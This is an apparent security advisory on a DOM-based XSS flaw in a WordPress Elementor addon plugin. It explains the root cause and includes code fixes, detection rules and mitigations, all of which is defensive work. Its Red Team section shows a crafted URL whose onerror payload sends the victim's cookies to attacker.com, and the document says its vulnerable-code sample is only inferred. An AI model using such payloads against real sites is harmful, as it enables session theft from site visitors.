CVE-2024-51675

Executive Summary

CVE-2024-51675 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin aThemes Addons for Elementor (versions <= 1.0.7). This flaw allows an attacker to inject malicious scripts into a web page through improper neutralization of user input during page generation. The vulnerability is triggered entirely on the client side (DOM), meaning no server-side request is required for exploitation. With a CVSS score of 6.5 (Medium), it poses a moderate risk, primarily affecting confidentiality, integrity, and availability at a low level. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or directly from the repository are affected. No known supply chain compromise has been reported, but the lack of a patch increases the risk of future exploitation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: Medium. Exploitation requires user interaction, but the DOM-based nature makes it harder to detect via traditional server-side logs.

Deep Dive & Mechanics

The vulnerability exists in the athemes-addons-for-elementor-lite plugin, which extends the Elementor page builder for WordPress. The plugin fails to sanitize or escape user-controlled input that is later reflected in the DOM via JavaScript. An attacker can craft a malicious URL containing a payload (e.g., #<script>alert(1)</script>) that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser.

Root Cause: The plugin uses window.location.hash or similar DOM properties without proper encoding or validation before inserting the value into the page. This allows an attacker to break out of the HTML context and inject script tags.

Attack Flow:

1. Attacker crafts a URL: https://victim-site.com/?page_id=123#<img src=x onerror=alert(1)>
2. Victim clicks the link (or is redirected via a phishing email).
3. The plugin's JavaScript reads the hash fragment and inserts it into the DOM without sanitization.
4. The injected payload executes, potentially stealing cookies, redirecting the user, or performing actions on their behalf.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred from similar DOM XSS issues. The plugin likely contains JavaScript similar to:

// Vulnerable code
var hash = window.location.hash.substring(1);
document.getElementById('some-element').innerHTML = hash;

A patched version would use safe DOM manipulation methods:

// Patched code
var hash = window.location.hash.substring(1);
var safeText = document.createTextNode(hash);
document.getElementById('some-element').appendChild(safeText);

Or use a sanitization library:

// Patched code with DOMPurify
var hash = window.location.hash.substring(1);
document.getElementById('some-element').innerHTML = DOMPurify.sanitize(hash);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with aThemes Addons for Elementor <= 1.0.7 installed and active.
• A victim user who will click a crafted link.

Exploitation Steps:

1. Identify a page that uses the vulnerable plugin (e.g., a page built with Elementor that includes aThemes widgets).
2. Craft a malicious URL with a DOM XSS payload in the hash fragment:

   https://target-site.com/any-page/#<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
   

3. Deliver the link to the victim via email, social engineering, or a redirect.
4. When the victim clicks the link, the payload executes, sending their cookies to the attacker's server.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection & Response:

• Monitor web server logs for unusual hash fragments in URLs (e.g., #<script, #<img, #<svg).
• Use browser-based security headers like Content-Security-Policy to mitigate XSS.
• Deploy a Web Application Firewall (WAF) with rules to block malicious hash fragments.
• Educate users about phishing links and the risks of clicking untrusted URLs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing #<script, #<img, #<svg, or other HTML tags in the hash fragment.
  • Outbound connections to attacker-controlled domains from the victim's browser (e.g., GET /steal?cookie=...).
• Host IOCs:
  • Presence of the plugin athemes-addons-for-elementor-lite version <= 1.0.7.
  • Browser console errors or unexpected JavaScript execution.
• File IOCs:
  • Modified JavaScript files in /wp-content/plugins/athemes-addons-for-elementor-lite/ (if attacker has write access).

Detection Engineering

YARA Rule

rule Detect_DOM_XSS_aThemes_Addons {
    meta:
        description = "Detects potential DOM XSS payloads in aThemes Addons for Elementor"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-51675"
    strings:
        $hash_usage = /window\.location\.hash/
        $innerHTML = /\.innerHTML\s*=/
        $vuln_func = /(hash|fragment|location\.hash)/
    condition:
        $hash_usage and $innerHTML and $vuln_func
}

Sigma Rule

title: DOM XSS via aThemes Addons for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential DOM XSS exploitation attempts against CVE-2024-51675
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<iframe'
            - '#<body'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with HTML-like content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51675 DOM XSS aThemes Addons"; flow:to_server,established; content:"#<"; http_uri; pcre:"/#<(script|img|svg|iframe|body)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Content Security Policy (CSP) that blocks inline scripts and restricts script sources.
3. Use a WAF to filter malicious hash fragments.

Long-Term Fix:

• The vendor must release a patched version that sanitizes all DOM inputs using textContent or a trusted sanitization library like DOMPurify.
• Users should monitor the plugin's page for updates and apply them immediately.

Workarounds:

• If the plugin cannot be disabled, modify the plugin's JavaScript files to use safe DOM methods (requires custom development).
• Restrict user access to pages using the vulnerable plugin.

Valters IT